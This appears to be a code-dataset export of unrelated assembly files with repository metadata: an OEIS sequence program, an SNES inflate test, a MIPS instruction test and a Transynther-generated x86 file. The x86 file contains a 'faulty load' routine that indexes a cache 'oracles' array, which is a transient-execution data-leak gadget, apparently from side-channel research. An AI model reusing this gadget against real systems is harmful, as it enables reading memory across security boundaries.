00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 e5 e5 e5 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 e5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.267016 | 2,999 | 0.65766 |
20c7bf54e432cc6883633cccc10fa50f851d503c | 440 | asm | Assembly | oeis/052/A052979.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/052/A052979.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/052/A052979.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A052979: Expansion of (1-x)(1+x)/(1-2*x-3*x^2+2*x^4).
; Submitted by Christian Krause
; 1,2,6,18,52,154,452,1330,3912,11506,33844,99546,292800,861226,2533164,7450914,21915720,64461730,189604292,557691946,1640365328,4824883034,14191653468,41742572146,122779374040,361136698450,1062228212084
mov $2,1
lpb $0
sub $0,1
add $3,1
add $1,$3
mov $5,$4
mov $4,$2
mov $2,$3
mul $2,2
add $4,$1
add $5,$4
mov $3,$5
lpe
mov $0,$2
| 23.157895 | 203 | 0.679545 |
7ae5a1e8af24519b2adc172b36d29a99ed995581 | 3,299 | asm | Assembly | example/test.asm | mtshr/inflate-65c816 | a05a3b1e222ea5fc2e422e342b32302c44f04dcf | [
"Zlib"
] | 2 | 2022-03-15T10:22:13.000Z | 2022-03-16T14:38:25.000Z | example/test.asm | mtshr/inflate-65c816 | a05a3b1e222ea5fc2e422e342b32302c44f04dcf | [
"Zlib"
] | null | null | null | example/test.asm | mtshr/inflate-65c816 | a05a3b1e222ea5fc2e422e342b32302c44f04dcf | [
"Zlib"
] | null | null | null | .INCLUDE "./test.inc"
.INCLUDE "../src/inflate.inc"
.BANK 0 SLOT 0
.SECTION "InterruptRoutines"
EndOfInterrupt:
rti
.ENDS
/****************************************************************************
Boot ROM Routines
****************************************************************************/
.BANK 0 SLOT 0
.SECTION "BootingROMRoutine" FORCE
BootROM:
sei
clc
xce
rep #$29
sep #$10
lda #$1FFF
tcs
phk
plb
lda #$4200
tcd
phd
tay ; Y = #$(00)00
sty $00 ; disable IRQ, NMI and auto-joypad reading
ldx #$FF
stx $01 ; IO Port
stz $0B ; disable DMA and HDMA
;ldx #$01
sty $0D ; slow ROM
lsr a
tcd ; Direct Register = $2100
ldx #$80 ;\ force blank
stx $00 ;/ Screen display register
sty $01 ; $2101 : OAM Size and character address
stz $02 ; $2102 - $2103 : OAM address and priority
stz $05 ; $2105 : Screen mode; $2106 : mosaic setting
stz $07 ;\
stz $09 ;/ BG tilemap address and size
stz $0B ; BG character address
ldx.b #$2114 - $210D
- sty $0D,x ;\
sty $0D,x ;/ BG offsets
sty $1B,x ;\
sty $1B,x ;/ mode7 matrix and CGRAM
dex
bpl -
ldx #$80
stx $15
stz $16 ; VRAM address
sty $1A ; mode7 settings
ldx.b #$2133 - $2123
- sty $23,x
dex
bpl -
lda #$420B
tcd
ldx #$7E ;\ Initialize WRAM of bank $7E
stx $F9 ; |
stz $F7 ; |
lda #$1FF0 ; | avoid initializing the stack in order to return from the routine
jsr InitializeWRAMwithDMA ; |
lda #$2000 ; |
sta $F7 ; |
lda #$E000 ; |
jsr InitializeWRAMwithDMA ;/
inc $F9 ;\ Initialize WRAM of bank $7F
lda #$0000 ; |
pha ; | push $0000 for direct register
jsr InitializeWRAMwithDMA ;/
lda #$1809 ;\
sta $F5 ; | Clear VRAM using $7F:0000 as a source. The transfer size is 0x10000 bytes.
;ldx #$01 ; | X = 1 here
stx $00 ;/
lda #$2208 ;\
sta $F5 ; | Clear CGRAM
lda #$0200 ; |
sta $FA ; |
stx $00 ;/
pld ; D = $0000
; copy the LZ4 routine onto WRAM
rep #$10
ldx #InflateBinary
ldy #Inflate & $FFFF
lda #InflateBinary@End - InflateBinary - 1
mvn :InflateBinary, Inflate >> 16
phk
plb
lda #:BGDeflate << 8 | $7F
ldx #BGDeflate
ldy #$0000
jsl Inflate
; Upload decompressed data
sep #$10
lda #$1801
sta $4300
stz $4302
ldy #$7F
sty $4304
lda #$8000
sta $4305
ldx #$01
stx $420B
lda #BGTilemap
sta $4302
ldy #:BGTilemap
sty $4304
lda #BGTilemap@End - BGTilemap
sta $4305
stx $420B
ldy #$00
sty $2121
lda #$2202
sta $4300
lda #BGPal
sta $4302
ldy #:BGPal
sty $4304
lda #128 * 2
sta $4305
stx $420B
ldx #$01
stx $2105 ; BG Mode
ldx #$40
stx $2107 ; BG1 Tilemap address
ldx #$01
stx $212C
ldx #$0F
stx $2100
bra -2
.ACCU 16
.INDEX 8
InitializeWRAMwithDMA:
sta $FA ; DMA size
sty $211B ;\
ldx #$00 ; | Y * 1
stx $211B ; |
inx ; |
stx $211C ;/
lda.w #$3480
sta $F5
stx $00 ; since X = 1
rts
.ENDS
.SECTION "Inflate code" SUPERFREE
InflateBinary:
.INCBIN "../src/inflate.ram.bin"
@End:
.ENDS
.SECTION "BG" SUPERFREE
BGDeflate:
.INCBIN "4bpp.bin.deflate"
BGTilemap:
.INCBIN "4bpp.tilemap"
@End:
BGPal:
.INCBIN "4bpp.pal"
.ENDS
| 17.272251 | 93 | 0.550167 |
eff98215b23aadde19e5a8871cf40642471450f0 | 10,494 | asm | Assembly | P6/data_P6_2/MDTest124.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | 1 | 2022-01-23T09:24:47.000Z | 2022-01-23T09:24:47.000Z | P6/data_P6_2/MDTest124.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | P6/data_P6_2/MDTest124.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | ori $ra,$ra,0xf
div $4,$ra
srav $4,$1,$1
mflo $3
lui $4,58578
srav $2,$2,$2
ori $4,$2,63231
addu $5,$5,$2
mflo $5
mtlo $2
mult $0,$0
multu $1,$1
lb $1,7($0)
sb $4,11($0)
lui $5,46212
mtlo $6
lui $4,54933
mthi $1
lui $4,51763
lb $6,2($0)
mflo $1
addu $4,$3,$3
multu $4,$3
lui $1,46345
mfhi $2
srav $5,$5,$5
multu $2,$2
div $4,$ra
addu $4,$2,$3
mfhi $4
ori $5,$0,15334
mult $5,$2
mult $1,$2
divu $4,$ra
addu $4,$0,$1
mflo $5
addiu $4,$4,-11432
mthi $5
div $3,$ra
div $6,$ra
mtlo $5
mtlo $4
mtlo $6
mflo $6
mult $5,$2
mtlo $1
mflo $5
div $6,$ra
addiu $0,$2,-5932
lb $6,3($0)
multu $4,$2
lb $1,9($0)
ori $1,$4,26873
mflo $1
srav $1,$4,$4
mflo $4
lui $5,60530
div $5,$ra
sb $4,1($0)
divu $0,$ra
sb $3,16($0)
lui $4,20881
mthi $2
addiu $6,$4,-23186
div $0,$ra
sll $0,$0,21
mtlo $0
mflo $4
mflo $0
multu $0,$5
mthi $6
sll $3,$3,23
mflo $1
ori $4,$4,13203
addiu $4,$4,2909
multu $6,$2
addu $4,$2,$0
mtlo $4
sll $1,$1,13
srav $1,$5,$5
lb $5,6($0)
mthi $2
srav $6,$3,$3
sll $5,$5,26
addu $1,$4,$1
mthi $1
sb $1,16($0)
addu $1,$2,$6
addiu $5,$4,1830
mtlo $1
lb $1,8($0)
divu $0,$ra
mult $0,$4
addiu $6,$4,-2977
multu $4,$4
mflo $1
srav $2,$2,$2
ori $0,$0,39292
sb $6,7($0)
lb $4,4($0)
multu $0,$0
mfhi $6
addiu $0,$4,-26574
divu $4,$ra
srav $3,$0,$3
lui $4,2345
srav $4,$4,$4
mflo $4
lui $2,45852
mfhi $4
multu $4,$4
mtlo $4
multu $4,$6
srav $5,$0,$5
addiu $0,$3,-2702
mult $0,$4
div $0,$ra
mtlo $5
mult $4,$6
ori $5,$2,61365
addiu $2,$2,9996
div $1,$ra
mult $4,$4
mthi $0
mfhi $1
ori $5,$2,12732
sb $4,16($0)
srav $1,$2,$2
mult $5,$5
sb $6,4($0)
multu $4,$1
mflo $5
addiu $4,$4,9278
mtlo $3
mthi $1
div $6,$ra
sb $4,4($0)
mfhi $6
addiu $1,$1,15068
addu $5,$4,$4
addu $0,$4,$2
lui $2,10205
lb $4,0($0)
mtlo $1
sb $1,14($0)
mult $5,$4
div $6,$ra
lb $1,15($0)
addiu $4,$3,-1562
addiu $2,$2,-23216
divu $4,$ra
sll $1,$1,13
sb $4,16($0)
addu $4,$6,$5
ori $5,$5,54021
lb $6,7($0)
sll $5,$2,15
mult $4,$4
divu $2,$ra
sb $0,4($0)
mflo $1
lui $1,43261
sb $0,8($0)
mflo $5
mfhi $1
ori $6,$1,2282
mtlo $1
lui $4,52750
lui $6,38488
sll $5,$0,24
lui $0,54601
mfhi $1
sb $0,4($0)
addu $0,$2,$5
addiu $6,$2,-26003
mfhi $4
mflo $2
sll $3,$1,28
mfhi $4
mflo $3
ori $1,$4,33982
sll $4,$4,5
srav $2,$1,$2
mfhi $2
div $1,$ra
lui $0,34087
mthi $1
mult $4,$4
srav $2,$2,$2
mtlo $5
divu $2,$ra
addiu $4,$6,9989
mtlo $6
mult $0,$5
divu $4,$ra
sll $4,$4,24
mthi $1
addu $3,$3,$3
ori $5,$1,45638
mfhi $0
srav $5,$5,$5
sll $5,$5,17
srav $2,$0,$2
div $4,$ra
sll $3,$1,17
lui $5,25813
ori $4,$1,1766
lb $6,7($0)
mtlo $2
srav $5,$5,$3
mflo $4
addiu $6,$0,-27883
sb $0,1($0)
lb $0,7($0)
mflo $6
multu $2,$1
addu $3,$4,$3
addu $4,$3,$3
mult $0,$5
sb $4,13($0)
mfhi $4
lui $4,63321
sb $0,13($0)
srav $3,$4,$3
mtlo $1
mult $1,$4
mthi $5
sb $6,15($0)
mfhi $4
mfhi $3
srav $4,$4,$2
multu $1,$1
div $3,$ra
ori $6,$4,59418
lui $4,7051
div $5,$ra
lui $2,19304
sll $4,$4,29
mflo $6
mflo $4
mtlo $1
multu $3,$3
sb $3,3($0)
mflo $3
mflo $4
mtlo $1
lb $4,6($0)
multu $5,$4
mult $2,$2
div $4,$ra
mult $1,$5
divu $6,$ra
mfhi $5
addu $1,$4,$3
lui $6,65261
addu $0,$2,$6
addu $1,$2,$2
mfhi $4
mfhi $1
ori $6,$4,2190
mflo $2
lb $5,4($0)
div $0,$ra
mflo $6
mtlo $2
multu $4,$4
mfhi $5
ori $4,$5,59640
mtlo $0
div $4,$ra
mult $1,$4
mtlo $4
multu $4,$4
sb $5,11($0)
multu $4,$5
lui $0,6958
mthi $5
addu $1,$1,$4
lui $0,6189
lb $0,10($0)
sll $1,$4,2
div $4,$ra
lb $1,16($0)
addu $4,$1,$4
sb $5,3($0)
div $2,$ra
divu $4,$ra
sll $5,$4,19
sll $4,$2,7
addiu $4,$5,1028
lb $0,11($0)
srav $3,$4,$3
divu $4,$ra
mflo $6
mflo $3
addiu $4,$4,-22305
addu $0,$4,$0
mtlo $2
mult $5,$5
mult $1,$2
sll $4,$4,12
srav $5,$2,$5
lb $0,2($0)
mtlo $4
mthi $4
mtlo $4
ori $1,$4,49622
mult $0,$5
mflo $1
lb $1,5($0)
div $2,$ra
ori $4,$1,28230
div $2,$ra
mtlo $1
lb $5,7($0)
mfhi $1
divu $1,$ra
mtlo $4
sb $4,4($0)
lb $5,0($0)
sll $5,$6,6
div $0,$ra
sb $5,4($0)
divu $4,$ra
mtlo $4
lb $5,8($0)
ori $1,$2,11717
mthi $4
mult $3,$4
mthi $2
mult $5,$5
lui $5,36395
ori $4,$0,31742
multu $5,$5
srav $3,$0,$3
multu $1,$1
addu $4,$3,$3
srav $0,$2,$0
mtlo $4
multu $3,$3
mult $2,$2
mflo $0
ori $0,$6,29066
lui $5,39336
divu $0,$ra
mult $1,$1
sb $5,15($0)
lb $1,12($0)
ori $5,$2,47239
multu $1,$5
mult $5,$2
mult $5,$1
mult $4,$4
srav $0,$2,$2
lb $3,10($0)
mtlo $2
srav $5,$5,$2
div $0,$ra
lui $6,49292
mult $4,$4
mthi $5
divu $5,$ra
mfhi $4
multu $1,$1
mflo $4
divu $3,$ra
addiu $3,$0,3921
mult $1,$5
sll $3,$3,25
mflo $4
sb $2,9($0)
ori $3,$5,40483
ori $6,$1,42873
div $3,$ra
addiu $1,$2,4881
srav $1,$1,$1
lb $0,2($0)
addiu $6,$2,-4008
lui $6,51294
mthi $4
lb $5,6($0)
lui $5,35131
multu $1,$1
lb $4,2($0)
lb $4,5($0)
mthi $5
lb $5,13($0)
mflo $4
div $2,$ra
lb $0,12($0)
mfhi $5
mult $0,$2
ori $4,$0,4093
ori $4,$4,35035
mfhi $3
srav $1,$3,$3
sb $5,0($0)
multu $2,$6
lb $1,14($0)
lb $0,12($0)
ori $0,$2,13938
ori $5,$5,2945
mfhi $1
multu $0,$1
mult $1,$4
lui $5,28599
multu $4,$2
div $4,$ra
div $4,$ra
mfhi $1
addiu $2,$2,-3027
div $1,$ra
sll $2,$2,23
mfhi $2
lui $0,47505
divu $6,$ra
mult $4,$4
mthi $6
sb $6,10($0)
mult $0,$3
mfhi $2
div $5,$ra
mthi $5
mtlo $1
multu $1,$1
sb $4,5($0)
mthi $4
srav $1,$2,$6
multu $4,$4
multu $5,$6
addiu $3,$2,15538
multu $0,$3
addiu $4,$1,-16752
ori $2,$2,8023
srav $0,$0,$0
multu $6,$6
mthi $0
lb $5,7($0)
lb $2,6($0)
mtlo $4
mtlo $5
srav $4,$2,$3
lui $4,21340
addiu $5,$4,-6214
multu $2,$4
lui $0,37244
mfhi $0
ori $1,$4,57209
mflo $1
mthi $1
mult $1,$1
sll $4,$5,10
sb $1,9($0)
mult $5,$2
mthi $2
mflo $4
sb $4,0($0)
addiu $1,$2,-25831
divu $4,$ra
mthi $5
addiu $1,$2,-19865
mfhi $4
lui $4,4260
mult $6,$1
lui $5,52023
divu $4,$ra
sb $2,15($0)
multu $5,$5
mult $6,$4
lb $2,11($0)
divu $0,$ra
lb $1,5($0)
sb $5,5($0)
mthi $4
addu $3,$4,$3
addiu $5,$2,20388
sb $6,12($0)
ori $2,$2,44104
mflo $4
sb $5,5($0)
addiu $1,$4,991
multu $2,$4
srav $3,$5,$3
sb $0,5($0)
sb $4,8($0)
srav $5,$1,$4
srav $2,$2,$1
div $3,$ra
divu $4,$ra
lui $5,37083
sll $4,$4,20
srav $3,$5,$3
mtlo $1
lui $5,63393
sb $4,10($0)
mult $4,$5
addu $4,$4,$5
addu $6,$5,$3
mfhi $4
sb $6,8($0)
mtlo $4
mtlo $0
addiu $4,$2,-5309
div $5,$ra
ori $4,$2,26517
sll $5,$4,12
lui $6,39091
divu $5,$ra
mfhi $5
div $6,$ra
addu $4,$1,$1
mflo $1
addu $1,$4,$4
div $4,$ra
mfhi $4
addu $5,$6,$3
mthi $5
lui $2,45423
mflo $5
mtlo $3
ori $4,$4,16723
mthi $0
divu $1,$ra
mfhi $3
mthi $1
mthi $2
sb $4,0($0)
srav $5,$4,$5
srav $0,$4,$0
mthi $4
mfhi $0
srav $5,$4,$4
ori $2,$2,40296
mfhi $0
lb $1,16($0)
multu $5,$6
mtlo $0
mtlo $6
mfhi $5
addu $5,$3,$3
divu $4,$ra
divu $0,$ra
divu $6,$ra
mtlo $1
mult $1,$1
lb $4,1($0)
mtlo $3
mfhi $4
mtlo $4
mtlo $6
srav $4,$4,$4
ori $4,$4,17606
mult $2,$2
mthi $4
ori $6,$6,19439
lui $5,17891
ori $4,$5,19031
mthi $0
lb $4,8($0)
ori $5,$5,39582
addu $1,$5,$4
mtlo $2
addu $1,$5,$1
addiu $4,$4,32691
mult $4,$2
mthi $5
addiu $1,$1,-19308
div $4,$ra
addiu $2,$4,-16792
addu $0,$0,$6
multu $2,$0
ori $4,$2,31741
lui $4,19756
mfhi $3
mflo $4
sb $2,5($0)
sb $6,2($0)
mthi $5
lb $0,7($0)
mfhi $5
srav $4,$4,$2
addu $5,$4,$3
addiu $5,$5,32483
sll $4,$4,8
mflo $5
mflo $3
sb $4,6($0)
mfhi $1
multu $0,$3
sll $2,$2,28
mfhi $3
srav $5,$6,$6
sb $4,1($0)
srav $5,$1,$3
multu $4,$4
divu $3,$ra
mflo $5
ori $2,$2,20492
lui $2,54764
mtlo $5
addu $1,$6,$1
sll $6,$4,30
mult $2,$2
sll $1,$1,24
mtlo $1
addiu $3,$2,-17125
srav $4,$2,$4
divu $5,$ra
srav $2,$2,$2
lui $5,22144
sb $5,0($0)
divu $3,$ra
mtlo $2
mthi $5
ori $1,$2,24652
mult $4,$3
mflo $0
mtlo $1
sb $5,15($0)
sll $0,$2,1
sll $4,$2,5
div $0,$ra
lui $0,14293
mthi $3
mult $4,$4
lb $5,5($0)
div $0,$ra
sb $0,6($0)
div $0,$ra
mult $4,$4
mthi $6
lb $1,2($0)
divu $3,$ra
mflo $5
ori $4,$4,16296
sll $4,$4,17
mult $3,$0
sll $2,$2,22
lui $4,56849
addu $0,$4,$2
multu $6,$2
addiu $5,$5,17738
mthi $2
div $4,$ra
mtlo $1
div $3,$ra
ori $1,$1,11744
sll $5,$4,13
mfhi $4
multu $4,$1
mult $1,$2
mult $1,$4
addiu $4,$4,-8899
div $3,$ra
divu $5,$ra
divu $4,$ra
sll $5,$5,17
multu $2,$2
mfhi $1
div $5,$ra
divu $1,$ra
lb $5,9($0)
lb $4,3($0)
divu $1,$ra
lb $5,15($0)
mtlo $5
addu $4,$5,$4
divu $5,$ra
addu $5,$1,$1
addiu $2,$2,-26303
mtlo $4
addiu $1,$5,-15809
mflo $0
mtlo $5
sb $4,9($0)
addu $6,$4,$4
sb $5,14($0)
mtlo $3
sb $4,3($0)
addiu $4,$2,-1630
div $4,$ra
mtlo $6
sll $1,$1,18
multu $2,$2
multu $1,$0
mthi $5
mtlo $4
addu $6,$4,$1
mfhi $5
addiu $4,$5,5255
mtlo $4
multu $4,$5
multu $5,$6
srav $5,$1,$3
mtlo $4
srav $3,$3,$3
lui $4,45934
addiu $4,$0,17967
mfhi $6
sll $0,$1,10
mtlo $5
div $5,$ra
multu $6,$6
mult $2,$2
lb $5,3($0)
srav $5,$2,$3
mult $5,$2
div $4,$ra
sb $5,8($0)
divu $4,$ra
lb $6,3($0)
mflo $4
addu $2,$2,$2
divu $2,$ra
lui $0,38839
divu $3,$ra
sll $2,$2,6
mtlo $5
sb $5,16($0)
mflo $4
addiu $1,$1,-21630
multu $1,$4
multu $4,$6
sll $4,$1,6
lb $6,4($0)
lui $4,39431
addu $6,$6,$2
div $4,$ra
lb $4,2($0)
addu $6,$0,$4
mult $5,$5
div $1,$ra
multu $1,$1
sll $1,$1,11
mult $5,$2
divu $4,$ra
mtlo $4
sb $4,10($0)
addiu $4,$0,26283
lb $1,15($0)
mfhi $4
addu $2,$2,$2
lui $4,20581
srav $1,$4,$3
mthi $1
addiu $4,$2,-23858
sll $4,$2,7
sb $6,4($0)
addu $2,$2,$2
mflo $0
sb $4,11($0)
mtlo $5
lui $2,4848
div $5,$ra
mflo $3
lb $1,14($0)
divu $4,$ra
mflo $0
multu $4,$4
multu $4,$1
mflo $4
addiu $1,$3,-17578
mfhi $4
multu $0,$2
mthi $4
multu $4,$4
lui $2,36146
ori $3,$1,33817
lui $5,27806
divu $6,$ra
mtlo $1
multu $6,$4
divu $5,$ra
mflo $4
srav $6,$4,$6
lb $4,14($0)
mult $6,$6
mthi $3
mtlo $5
lb $3,3($0)
multu $4,$3
lui $5,9763
mflo $3
addu $0,$2,$3
mult $4,$4
addu $3,$2,$3
ori $4,$5,58731
mult $5,$5
multu $6,$5
multu $5,$2
mtlo $5
addiu $5,$3,-18389
sb $1,9($0)
addiu $4,$4,-31214
addu $1,$5,$6
mthi $4
mthi $1
ori $5,$5,32446
div $5,$ra
addu $0,$4,$0
divu $2,$ra
mthi $3
addu $5,$5,$2
srav $6,$6,$3
lb $0,10($0)
ori $1,$4,30974
srav $4,$6,$6
addiu $5,$3,20612
mflo $4
sll $1,$3,26
sll $6,$5,23
div $6,$ra
sb $4,11($0)
addiu $4,$4,-14477
sb $0,14($0)
mult $4,$1
addu $0,$3,$3
mflo $4
mthi $1
mfhi $0
mthi $5
lb $5,4($0)
mult $4,$6
divu $2,$ra
multu $1,$2
div $2,$ra
lui $1,22558
lb $4,14($0)
sb $0,15($0)
sb $4,10($0)
srav $4,$0,$0
addu $1,$1,$4
multu $2,$1
mthi $1
addiu $4,$3,-28489
mthi $4
mflo $4
ori $5,$1,54698
multu $2,$2
sll $1,$4,2
lb $4,2($0)
lui $5,58691
lui $2,50821
ori $4,$6,60332
mtlo $5
addiu $6,$2,-1770
sb $4,13($0)
multu $1,$4
sb $2,16($0)
mtlo $4
mflo $2
addu $0,$1,$0
mthi $5
multu $5,$0
mflo $4
addu $0,$5,$4
mtlo $2
mtlo $3
div $4,$ra
lui $6,48268
mflo $1
mtlo $4
srav $2,$2,$2
lui $2,51265
mtlo $4
mthi $5
mtlo $5
sll $1,$1,0
lui $6,7746
addu $1,$1,$2
divu $4,$ra
mthi $5
mthi $6
mflo $1
srav $0,$5,$5
addiu $4,$4,-32099
srav $4,$3,$3
mtlo $3
lui $3,27641
sb $1,4($0)
addiu $4,$4,-31761
ori $4,$4,25883
sll $2,$2,27
srav $2,$2,$1
lb $3,12($0)
addu $5,$2,$2
addiu $2,$0,11336
mthi $4
divu $1,$ra
| 11.791011 | 18 | 0.566133 |
b2e6f03d7fd1e8c0b8b38adaeb57987d36cec397 | 7,860 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1198.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1198.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1198.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xf44c, %r11
clflush (%r11)
nop
and %rdx, %rdx
mov (%r11), %r12w
nop
nop
nop
nop
nop
xor $21542, %r11
lea addresses_WC_ht+0x1940c, %r9
nop
cmp $33280, %r13
mov $0x6162636465666768, %r15
movq %r15, %xmm4
vmovups %ymm4, (%r9)
nop
nop
nop
nop
nop
dec %r15
lea addresses_WT_ht+0xb1bc, %rdx
nop
inc %r12
movb (%rdx), %r9b
nop
nop
nop
cmp %rdx, %rdx
lea addresses_UC_ht+0xecec, %rsi
lea addresses_WT_ht+0x1d0cc, %rdi
clflush (%rdi)
nop
and %r15, %r15
mov $101, %rcx
rep movsl
nop
nop
add $14808, %rsi
lea addresses_A_ht+0x440a, %rsi
lea addresses_WC_ht+0x1d974, %rdi
clflush (%rdi)
nop
nop
nop
sub %r11, %r11
mov $104, %rcx
rep movsq
nop
nop
nop
nop
dec %r9
lea addresses_UC_ht+0xb8ec, %r15
nop
nop
cmp $13948, %r11
movb $0x61, (%r15)
nop
nop
nop
nop
inc %rdx
lea addresses_WC_ht+0x15fe4, %r13
clflush (%r13)
nop
nop
nop
nop
add $35350, %r11
vmovups (%r13), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r15
nop
nop
sub %r12, %r12
lea addresses_normal_ht+0xbfb8, %rsi
lea addresses_normal_ht+0x7c70, %rdi
nop
nop
nop
nop
xor %rdx, %rdx
mov $35, %rcx
rep movsw
nop
nop
xor %rdx, %rdx
lea addresses_A_ht+0xb184, %r11
nop
nop
nop
and %rsi, %rsi
and $0xffffffffffffffc0, %r11
movntdqa (%r11), %xmm2
vpextrq $0, %xmm2, %rdx
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_WC_ht+0xd08c, %rsi
lea addresses_D_ht+0x546c, %rdi
add $14497, %r11
mov $93, %rcx
rep movsw
nop
nop
nop
nop
sub %r15, %r15
lea addresses_WT_ht+0xec6c, %rdx
nop
and %r13, %r13
mov (%rdx), %r9d
nop
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_A_ht+0x120ec, %r12
nop
nop
nop
cmp $36043, %rsi
mov (%r12), %rdi
add $42757, %rdi
lea addresses_D_ht+0x14c8c, %rsi
lea addresses_A_ht+0x1026c, %rdi
nop
add %r12, %r12
mov $122, %rcx
rep movsb
nop
nop
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x55ec, %rsi
clflush (%rsi)
nop
nop
nop
mfence
movups (%rsi), %xmm2
vpextrq $1, %xmm2, %rdx
nop
nop
cmp $54014, %rdx
lea addresses_A_ht+0x17cec, %rsi
lea addresses_UC_ht+0xcaec, %rdi
nop
nop
nop
cmp %r13, %r13
mov $123, %rcx
rep movsl
and %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %rcx
// Faulty Load
lea addresses_WC+0x5a6c, %rcx
nop
and $60343, %r12
mov (%rcx), %r14w
lea oracles, %r12
and $0xff, %r14
shlq $12, %r14
mov (%r12,%r14,1), %r14
pop %rcx
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 2, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'src': {'same': True, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'38': 21829}
